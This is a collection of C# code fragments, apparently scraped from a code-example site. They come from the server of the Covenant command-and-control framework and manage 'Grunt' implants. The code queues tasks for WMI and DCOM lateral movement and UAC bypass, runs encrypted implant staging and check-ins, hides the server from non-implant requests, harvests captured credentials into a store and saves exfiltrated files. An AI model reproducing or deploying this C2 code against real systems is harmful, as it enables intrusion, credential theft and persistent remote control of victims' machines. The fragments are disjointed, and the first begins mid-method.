                        List <string> split = parameters[1].Split(" ").ToList();
                        parameters[1] = split[0];
                        if (!parameters[1].EndsWith(".exe"))
                        {
                            parameters[1] += ".exe";
                        }

                        split.RemoveAt(0);
                        parameters.Insert(2, String.Join(" ", split.ToArray()));
                        string Directory = "C:\\WINDOWS\\System32\\";
                        if (parameters[1].ToLower().Contains("powershell.exe"))
                        {
                            Directory += "WindowsPowerShell\\v1.0\\";
                        }
                        else if (parameters[1].ToLower().Contains("wmic.exe"))
                        {
                            Directory += "wbem\\";
                        }

                        parameters.Insert(3, Directory);
                    }
                    else
                    {
                        // If using Launcher
                        // Remove the "Command" parameter
                        parameters.RemoveAt(2);

                        // Set LauncherString to DCOM command parameter
                        parameters[1] = l.LauncherString;

                        // Add .exe exetension if needed
                        List <string> split = parameters[1].Split(" ").ToList();
                        parameters[1] = split[0];
                        if (!parameters[1].EndsWith(".exe"))
                        {
                            parameters[1] += ".exe";
                        }

                        split.RemoveAt(0);
                        parameters.Insert(2, String.Join(" ", split.ToArray()));
                        string Directory = "C:\\WINDOWS\\System32\\";
                        if (parameters[1].ToLower().Contains("powershell.exe"))
                        {
                            Directory += "WindowsPowerShell\\v1.0\\";
                        }
                        else if (parameters[1].ToLower().Contains("wmic.exe"))
                        {
                            Directory += "wbem\\";
                        }

                        parameters.Insert(3, Directory);
                    }
                }
                else if (task.Name.ToLower() == "bypassuac")
                {
                    Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[0].ToLower());
                    if ((parameters[1] != null && parameters[1] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
                    {
                        // If using custom command
                        // Remove the "Launcher" parameter
                        parameters.RemoveAt(0);

                        // Add .exe exetension if needed
                        string[] split = parameters[0].Split(" ");
                        parameters[0] = split.FirstOrDefault();
                        if (!parameters[0].EndsWith(".exe"))
                        {
                            parameters[0] += ".exe";
                        }

                        // Add parameters needed for BypassUAC Task
                        parameters.Add(String.Join(" ", split.ToList().GetRange(1, split.Count() - 1)));
                        parameters.Add("C:\\WINDOWS\\System32\\");
                        if (parameters[0].ToLower().Contains("powershell.exe"))
                        {
                            parameters[2] += "WindowsPowerShell\\v1.0\\";
                        }
                        else if (parameters[0].ToLower().Contains("wmic.exe"))
                        {
                            parameters[2] += "wbem\\";
                        }
                        parameters.Add("0");
                    }
                    else
                    {
                        // If using Launcher
                        // Remove the "Command" parameter
                        parameters.RemoveAt(1);

                        // Add .exe exetension if needed
                        string[] split = l.LauncherString.Split(" ");
                        parameters[0] = split.FirstOrDefault();
                        if (!parameters[0].EndsWith(".exe"))
                        {
                            parameters[0] += ".exe";
                        }

                        // Add parameters need for BypassUAC Task
                        parameters.Add(String.Join(" ", split.ToList().GetRange(1, split.Count() - 1)));
                        parameters.Add("C:\\WINDOWS\\System32\\");
                        if (l.Name.ToLower() == "powershell")
                        {
                            parameters[2] += "WindowsPowerShell\\v1.0\\";
                        }
                        else if (l.Name.ToLower() == "wmic")
                        {
                            parameters[2] += "wbem\\";
                        }
                        parameters.Add("0");
                    }
                }
                try
                {
                    gruntTasking.Compile(
                        task.Code, parameters,
                        task.GetReferenceAssemblies(),
                        task.GetReferenceSourceLibraries(),
                        task.GetEmbeddedResources(),
                        grunt.DotNetFrameworkVersion
                        );
                }
                catch (Exception e)
                {
                    Console.Error.WriteLine("Task Compilation failed: " + e.Message + e.StackTrace);
                    return(BadRequest("Task returned compilation errors:" + e.Message + e.StackTrace));
                }
            }
            _context.GruntTaskings.Add(gruntTasking);
            _context.SaveChanges();
            return(CreatedAtRoute(nameof(GetGruntTasking), new { id = id, taskname = gruntTasking.Name }, gruntTasking));
        }
        public async Task <ActionResult <string> > Get()
        {
            try
            {
                this.SetHeaders();
                string guid = this.GetGuid();
                if (string.IsNullOrEmpty(guid))
                {
                    // Invalid GUID. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                Grunt grunt = null;
                try
                {
                    grunt = await _client.ApiGruntsGuidByGuidGetAsync(guid);
                }
                catch (HttpOperationException) { grunt = null; }
                if (grunt == null || grunt.Status != GruntStatus.Active)
                {
                    // Invalid GUID. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                grunt.LastCheckIn = DateTime.UtcNow;
                await _client.ApiGruntsPutAsync(grunt);

                GruntTasking gruntTasking = (await _client.ApiGruntsByIdTaskingsSearchUninitializedGetAsync(grunt.Id ?? default)).FirstOrDefault();
                if (gruntTasking == null)
                {
                    // No GruntTasking assigned. Respond with empty template
                    return(Ok(this.GetGetEmptyResponse()));
                }

                if (gruntTasking.Type == GruntTaskingType.Assembly && gruntTasking.GruntTask == null)
                {
                    // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                    return(NotFound());
                }

                gruntTasking.Status      = GruntTaskingStatus.Tasked;
                gruntTasking.TaskingTime = DateTime.UtcNow;
                gruntTasking             = await _client.ApiTaskingsPutAsync(gruntTasking);

                gruntTasking.Grunt = gruntTasking.GruntId == grunt.Id ? grunt : await _client.ApiGruntsByIdGetAsync(gruntTasking.GruntId);

                ModelUtilities.GruntEncryptedMessage message = null;
                try
                {
                    message = this.CreateMessageForGrunt(grunt, gruntTasking.Grunt, this.GetGruntTaskingMessage(gruntTasking, gruntTasking.Grunt.DotNetFrameworkVersion));
                }
                catch (HttpOperationException)
                {
                    gruntTasking.Status = GruntTaskingStatus.Aborted;
                    await _client.ApiTaskingsPutAsync(gruntTasking);

                    return(NotFound());
                }
                // Transform response
                string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
                // Format transformed response
                string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);
                return(Ok(response));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
            catch (Exception)
            {
                return(NotFound());
            }
        }
        private async Task <ActionResult> PostStage0(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response)
        {
            if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            bool egressGruntExists = egressGrunt != null;

            string guid = gruntStage0Response.GUID.Substring(10);

            if (targetGrunt.Status != GruntStatus.Uninitialized)
            {
                // We create a new Grunt if this one is not uninitialized
                Grunt tempModel = new Grunt
                {
                    Id   = 0,
                    Name = Utilities.CreateShortGuid(),
                    Guid = guid,
                    OriginalServerGuid        = Utilities.CreateShortGuid(),
                    Status                    = GruntStatus.Stage0,
                    ListenerId                = targetGrunt.ListenerId,
                    Listener                  = targetGrunt.Listener,
                    GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword,
                    CommType                  = targetGrunt.CommType,
                    SmbPipeName               = targetGrunt.SmbPipeName,
                    Delay                  = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate,
                    ConnectAttempts        = targetGrunt.ConnectAttempts,
                    DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion,
                    LastCheckIn            = DateTime.UtcNow
                };
                targetGrunt = await _client.ApiGruntsPostAsync(tempModel);
            }
            else
            {
                targetGrunt.Status      = GruntStatus.Stage0;
                targetGrunt.Guid        = guid;
                targetGrunt.LastCheckIn = DateTime.UtcNow;
                targetGrunt             = await _client.ApiGruntsPutAsync(targetGrunt);
            }
            if (!egressGruntExists)
            {
                egressGrunt = targetGrunt;
            }

            // EncryptedMessage is the RSA Public Key
            targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt(
                                                                       gruntStage0Response,
                                                                       Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)
                                                                       ));
            // Generate negotiated session key
            Aes newAesKey = Aes.Create();

            newAesKey.GenerateKey();
            targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
            await _client.ApiGruntsPutAsync(targetGrunt);

            if (egressGruntExists)
            {
                // Add this as Child grunt to Grunt that connects it
                List <GruntTasking> taskings = _client.ApiTaskingsGet().ToList();
                // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort?
                GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault();
                if (connectTasking == null)
                {
                    return(NotFound());
                }
                GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion);
                targetGrunt.Hostname = tmessage.Message.Split(",")[0];
                await _client.ApiGruntsPutAsync(targetGrunt);

                connectTasking.Status = GruntTaskingStatus.Completed;
                await _client.ApiTaskingsPutAsync(connectTasking);
            }

            byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey));
            ModelUtilities.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
            // Transform response
            string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);

            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            return(Ok(response));
        }
示例#26
0
        // post task
        private ActionResult PostTask(Covenant.Models.Grunts.GruntEncryptedMessage outputMessage)
        {
            string cookie = this.GetCookie();

            API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
            {
                // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            string       TaskName     = outputMessage.Meta;
            GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsByTasknameGet(gruntModel.Id ?? default, TaskName);

            if (gruntTasking == null || gruntModel.Id != gruntTasking.GruntId)
            {
                // Invalid taskname. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            var realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);

            if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active)
            {
                // Invalid Grunt. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)))
            {
                // Invalid signature. Almost certainly not a legitimate Grunt request, responsd NotFound
                return(NotFound());
            }
            string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage));

            gruntTasking.GruntTaskOutput = taskOutput;
            gruntTasking.Status          = GruntTaskingStatus.Completed;
            if (gruntTasking.Type == GruntTaskingType.Kill)
            {
                gruntModel.Status = GruntStatus.Killed;
                CovenantClient.ApiGruntsPut(gruntModel);
            }
            CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking);

            GruntTask DownloadTask = CovenantClient.ApiGruntTasksGet().FirstOrDefault(GT => GT.Name == "Download");

            if (gruntTasking.TaskId == DownloadTask.Id)
            {
                CovenantClient.ApiEventsPost(new EventModel
                {
                    Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name,
                    Level   = EventLevel.Highlight,
                    Context = realGrunt.Name
                });
                string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.GruntTaskingAssembly.Split(",")[1]));
                CovenantClient.ApiEventsDownloadPost(new DownloadEvent
                {
                    Message      = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...",
                    Level        = EventLevel.Info,
                    Context      = realGrunt.Name,
                    FileName     = FileName,
                    FileContents = gruntTasking.GruntTaskOutput,
                    Progress     = DownloadProgress.Complete
                });
            }
            else
            {
                CovenantClient.ApiEventsPost(new EventModel
                {
                    Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name,
                    Level   = EventLevel.Highlight,
                    Context = realGrunt.Name
                });
                CovenantClient.ApiEventsPost(new EventModel
                {
                    Message = gruntTasking.GruntTaskOutput,
                    Level   = EventLevel.Info,
                    Context = realGrunt.Name
                });
            }
            return(Ok());
        }
示例#27
0
 public Task <GruntTasking> CreateGruntTasking(GruntTasking tasking)
 {
     return(_connection.InvokeAsync <GruntTasking>("CreateGruntTasking", tasking));
 }
示例#28
0
        public ActionResult <GruntTasking> EditGruntTasking(int id, int tid, [FromBody] GruntTasking gruntTasking)
        {
            Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id);

            if (grunt == null)
            {
                return(NotFound($"NotFound - Grunt with id: {id}"));
            }
            GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => grunt.Id == GT.GruntId && tid == GT.Id);

            if (updatingGruntTasking == null)
            {
                return(NotFound($"NotFound - GruntTasking with id: {tid}"));
            }
            GruntTask gruntTask = _context.GruntTasks.FirstOrDefault(G => G.Id == gruntTasking.TaskId);

            if (gruntTask == null)
            {
                return(NotFound($"NotFound - GruntTask with id: {gruntTasking.TaskId}"));
            }
            GruntTask DownloadTask = _context.GruntTasks.FirstOrDefault(GT => GT.Name == "Download");

            if (DownloadTask == null)
            {
                return(NotFound($"NotFound - GruntTask DownloadTask"));
            }

            List <CapturedCredential> capturedCredentials = CapturedCredential.ParseCredentials(gruntTasking.GruntTaskOutput);

            foreach (CapturedCredential cred in capturedCredentials)
            {
                if (!ContextContainsCredentials(cred))
                {
                    _context.Credentials.Add(cred);
                    _context.SaveChanges();
                }
            }

            GruntTaskingStatus newStatus      = gruntTasking.Status;
            GruntTaskingStatus originalStatus = updatingGruntTasking.Status;

            if ((originalStatus == GruntTaskingStatus.Tasked || originalStatus == GruntTaskingStatus.Progressed) &&
                newStatus == GruntTaskingStatus.Completed)
            {
                if (gruntTasking.Type == GruntTaskingType.Kill)
                {
                    grunt.Status = Grunt.GruntStatus.Killed;
                }
                else if (gruntTasking.Type == GruntTaskingType.SetDelay || gruntTasking.Type == GruntTaskingType.SetJitter || gruntTasking.Type == GruntTaskingType.SetConnectAttempts)
                {
                    bool parsed = int.TryParse(gruntTasking.TaskingMessage, out int n);
                    if (parsed)
                    {
                        if (gruntTasking.Type == GruntTaskingType.SetDelay)
                        {
                            grunt.Delay = n;
                        }
                        else if (gruntTasking.Type == GruntTaskingType.SetJitter)
                        {
                            grunt.JitterPercent = n;
                        }
                        else if (gruntTasking.Type == GruntTaskingType.SetConnectAttempts)
                        {
                            grunt.ConnectAttempts = n;
                        }
                    }
                }
                else if (gruntTasking.Type == GruntTaskingType.Connect)
                {
                    if (originalStatus == GruntTaskingStatus.Tasked)
                    {
                        // Check if this Grunt was already connected
                        string hostname = gruntTasking.GruntTaskingMessage.Message.Split(",")[0];
                        string pipename = gruntTasking.GruntTaskingMessage.Message.Split(",")[1];
                        Grunt  previouslyConnectedGrunt = _context.Grunts.FirstOrDefault(G =>
                                                                                         G.CommType == Grunt.CommunicationType.SMB &&
                                                                                         (G.IPAddress == hostname || G.Hostname == hostname) &&
                                                                                         G.SMBPipeName == pipename &&
                                                                                         (G.Status == Grunt.GruntStatus.Disconnected || G.Status == Grunt.GruntStatus.Lost || G.Status == Grunt.GruntStatus.Active)
                                                                                         );
                        if (previouslyConnectedGrunt != null)
                        {
                            if (previouslyConnectedGrunt.Status != Grunt.GruntStatus.Disconnected)
                            {
                                // If already connected, disconnect to avoid cycles
                                Grunt previouslyConnectedGruntPrevParent = null;
                                foreach (Grunt g in _context.Grunts)
                                {
                                    if (g.Children.Contains(previouslyConnectedGrunt.GUID))
                                    {
                                        previouslyConnectedGruntPrevParent = g;
                                    }
                                }
                                if (previouslyConnectedGruntPrevParent != null)
                                {
                                    previouslyConnectedGruntPrevParent.RemoveChild(previouslyConnectedGrunt);
                                    _context.Grunts.Update(previouslyConnectedGruntPrevParent);
                                }
                            }

                            // Connect to tasked Grunt, no need to "Progress", as Grunt is already staged
                            grunt.AddChild(previouslyConnectedGrunt);
                            previouslyConnectedGrunt.Status = Grunt.GruntStatus.Active;
                            _context.Grunts.Update(previouslyConnectedGrunt);
                        }
                        else
                        {
                            // If not already connected, the Grunt is going to stage, set status to Progressed
                            newStatus = GruntTaskingStatus.Progressed;
                        }
                    }
                    else if (originalStatus == GruntTaskingStatus.Progressed)
                    {
                        // Connecting Grunt has staged, add as Child
                        string hostname     = gruntTasking.GruntTaskingMessage.Message.Split(",")[0];
                        string pipename     = gruntTasking.GruntTaskingMessage.Message.Split(",")[1];
                        Grunt  stagingGrunt = _context.Grunts.FirstOrDefault(G =>
                                                                             G.CommType == Grunt.CommunicationType.SMB &&
                                                                             ((G.IPAddress == hostname || G.Hostname == hostname) || (G.IPAddress == "" && G.Hostname == "")) &&
                                                                             G.SMBPipeName == pipename &&
                                                                             G.Status == Grunt.GruntStatus.Stage0
                                                                             );
                        if (stagingGrunt == null)
                        {
                            return(NotFound($"NotFound - Grunt staging from {hostname}:{pipename}"));
                        }
                        grunt.AddChild(stagingGrunt);
                    }
                }
                else if (gruntTasking.Type == GruntTaskingType.Disconnect)
                {
                    Grunt disconnectFromGrunt = _context.Grunts.FirstOrDefault(G => G.GUID == gruntTasking.GruntTaskingMessage.Message);
                    if (disconnectFromGrunt == null)
                    {
                        return(NotFound($"NotFound - Grunt with GUID: {gruntTasking.GruntTaskingMessage.Message}"));
                    }

                    disconnectFromGrunt.Status = Grunt.GruntStatus.Disconnected;
                    _context.Grunts.Update(disconnectFromGrunt);
                    grunt.RemoveChild(disconnectFromGrunt);
                }
            }

            if ((newStatus == GruntTaskingStatus.Completed || newStatus == GruntTaskingStatus.Progressed) && originalStatus != newStatus)
            {
                if (newStatus == GruntTaskingStatus.Completed)
                {
                    updatingGruntTasking.CompletionTime = DateTime.UtcNow;
                }
                string verb = newStatus == GruntTaskingStatus.Completed ? "completed" : "progressed";
                if (gruntTasking.TaskId == DownloadTask.Id)
                {
                    _context.Events.Add(new Event
                    {
                        Time          = updatingGruntTasking.CompletionTime,
                        MessageHeader = "[" + updatingGruntTasking.CompletionTime + " UTC] Grunt: " + grunt.Name + " has " + verb + " GruntTasking: " + gruntTasking.Name,
                        Level         = Event.EventLevel.Highlight,
                        Context       = grunt.Name
                    });
                    string        FileName      = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.TaskingMessage.Split(",")[1]));
                    DownloadEvent downloadEvent = new DownloadEvent
                    {
                        Time          = updatingGruntTasking.CompletionTime,
                        MessageHeader = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...",
                        Level         = Event.EventLevel.Highlight,
                        Context       = grunt.Name,
                        FileName      = FileName,
                        FileContents  = gruntTasking.GruntTaskOutput,
                        Progress      = DownloadEvent.DownloadProgress.Complete
                    };
                    downloadEvent.WriteToDisk();
                    _context.Events.Add(downloadEvent);
                }
                else
                {
                    _context.Events.Add(new Event
                    {
                        Time          = updatingGruntTasking.CompletionTime,
                        MessageHeader = "[" + updatingGruntTasking.CompletionTime + " UTC] Grunt: " + grunt.Name + " has " + verb + " GruntTasking: " + gruntTasking.Name,
                        MessageBody   = "(" + gruntTasking.TaskingUser + ") > " + gruntTasking.TaskingCommand + Environment.NewLine + gruntTasking.GruntTaskOutput,
                        Level         = Event.EventLevel.Highlight,
                        Context       = grunt.Name
                    });
                }
            }

            updatingGruntTasking.Status          = newStatus;
            updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput;
            _context.GruntTaskings.Update(updatingGruntTasking);
            _context.Grunts.Update(grunt);
            _context.SaveChanges();

            return(updatingGruntTasking);
        }
示例#29
0
        public ActionResult <GruntTasking> CreateGruntTasking(int id, [FromBody] GruntTasking gruntTasking)
        {
            Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id);

            if (grunt == null)
            {
                return(NotFound($"NotFound - Grunt with id: {id}"));
            }
            CovenantUser taskingUser = this.GetCurrentUser();

            if (taskingUser == null)
            {
                return(NotFound($"NotFound - CovenantUser"));
            }
            gruntTasking.TaskingUser = taskingUser.UserName;
            gruntTasking.TaskingTime = DateTime.UtcNow;
            if (gruntTasking.Type == GruntTaskingType.Assembly)
            {
                GruntTask task = _context.GruntTasks.Include(T => T.Options).FirstOrDefault(T => T.Id == gruntTasking.TaskId);
                if (task == null)
                {
                    return(NotFound($"NotFound - GruntTask with id: {gruntTasking.TaskId}"));
                }
                List <string> parameters = task.Options.Select(O => O.Value).ToList();
                if (task.Name.ToLower() == "wmigrunt")
                {
                    Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower());
                    if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
                    {
                        return(NotFound($"NotFound - Launcher with name: {parameters[1]}"));
                    }
                    else
                    {
                        parameters[1] = l.LauncherString;
                    }
                }
                else if (task.Name.ToLower() == "dcomgrunt")
                {
                    Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower());
                    if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
                    {
                        return(NotFound($"NotFound - Launcher with name: {parameters[1]}"));
                    }
                    else
                    {
                        // Add .exe exetension if needed
                        List <string> split = l.LauncherString.Split(" ").ToList();
                        parameters[1] = split.FirstOrDefault();
                        if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
                        {
                            parameters[1] += ".exe";
                        }

                        // Add command parameters
                        split.RemoveAt(0);
                        parameters.Insert(2, String.Join(" ", split.ToArray()));
                        string Directory = "C:\\WINDOWS\\System32\\";
                        if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase))
                        {
                            Directory += "WindowsPowerShell\\v1.0\\";
                        }
                        else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase))
                        {
                            Directory += "wbem\\";
                        }

                        parameters.Insert(3, Directory);
                    }
                }
                else if (task.Name.ToLower() == "dcomcommand")
                {
                    // Add .exe exetension if needed
                    List <string> split = parameters[1].Split(" ").ToList();
                    parameters[1] = split[0];
                    if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
                    {
                        parameters[1] += ".exe";
                    }

                    // Add command parameters
                    split.RemoveAt(0);
                    parameters.Insert(2, String.Join(" ", split.ToArray()));
                    string Directory = "C:\\WINDOWS\\System32\\";
                    if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase))
                    {
                        Directory += "WindowsPowerShell\\v1.0\\";
                    }
                    else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase))
                    {
                        Directory += "wbem\\";
                    }

                    parameters.Insert(3, Directory);
                }
                else if (task.Name.ToLower() == "bypassuacgrunt")
                {
                    Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[0].ToLower());
                    if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
                    {
                        return(NotFound($"NotFound - Launcher with name: {parameters[0]}"));
                    }
                    else
                    {
                        // Add .exe exetension if needed
                        string[] split = l.LauncherString.Split(" ");
                        if (!parameters[0].EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
                        {
                            parameters[0] += ".exe";
                        }

                        // Add parameters need for BypassUAC Task
                        string ArgParams = String.Join(" ", split.ToList().GetRange(1, split.Count() - 1));
                        string Directory = "C:\\WINDOWS\\System32\\";
                        if (parameters[0].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase))
                        {
                            Directory += "WindowsPowerShell\\v1.0\\";
                        }
                        else if (parameters[0].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase))
                        {
                            Directory += "wbem\\";
                        }

                        parameters.Add(ArgParams);
                        parameters.Add(Directory);
                        parameters.Add("0");
                    }
                }
                else if (task.Name.ToLower() == "bypassuaccommand")
                {
                    // Add .exe exetension if needed
                    string[] split = parameters[0].Split(" ");
                    if (!parameters[0].EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
                    {
                        parameters[0] += ".exe";
                    }

                    // Add parameters need for BypassUAC Task
                    string ArgParams = String.Join(" ", split.ToList().GetRange(1, split.Count() - 1));
                    string Directory = "C:\\WINDOWS\\System32\\";
                    if (parameters[0].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase))
                    {
                        Directory += "WindowsPowerShell\\v1.0\\";
                    }
                    else if (parameters[0].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase))
                    {
                        Directory += "wbem\\";
                    }

                    parameters.Add(ArgParams);
                    parameters.Add(Directory);
                    parameters.Add("0");
                }
                try
                {
                    gruntTasking.Compile(task, grunt, parameters);
                }
                catch (Exception e)
                {
                    Console.Error.WriteLine("Task Compilation failed: " + e.Message + e.StackTrace);
                    return(BadRequest("Task returned compilation errors:" + e.Message + e.StackTrace));
                }
            }
            else if (gruntTasking.Type == GruntTaskingType.Connect)
            {
                string hostname = gruntTasking.GruntTaskingMessage.Message.Split(",")[0];
                string pipename = gruntTasking.GruntTaskingMessage.Message.Split(",")[1];
                if (hostname == "localhost" || hostname == "127.0.0.1")
                {
                    hostname = grunt.Hostname;
                }
                gruntTasking.TaskingMessage = hostname + "," + pipename;
            }
            _context.GruntTaskings.Add(gruntTasking);
            _context.Events.Add(new Event
            {
                Time          = gruntTasking.TaskingTime,
                MessageHeader = "[" + gruntTasking.TaskingTime + " UTC] Grunt: " + grunt.Name + " has " + "been assigned GruntTasking: " + gruntTasking.Name,
                MessageBody   = "(" + gruntTasking.TaskingUser + ") > " + gruntTasking.TaskingCommand,
                Level         = Event.EventLevel.Highlight,
                Context       = grunt.Name
            });
            _context.SaveChanges();
            return(CreatedAtRoute(nameof(GetGruntTasking), new { id = id, tid = gruntTasking.Id }, gruntTasking));
        }
示例#30
0
 public Task <GruntTasking> EditGruntTasking(GruntTasking tasking)
 {
     return(_connection.InvokeAsync <GruntTasking>("EditGruntTasking", tasking));
 }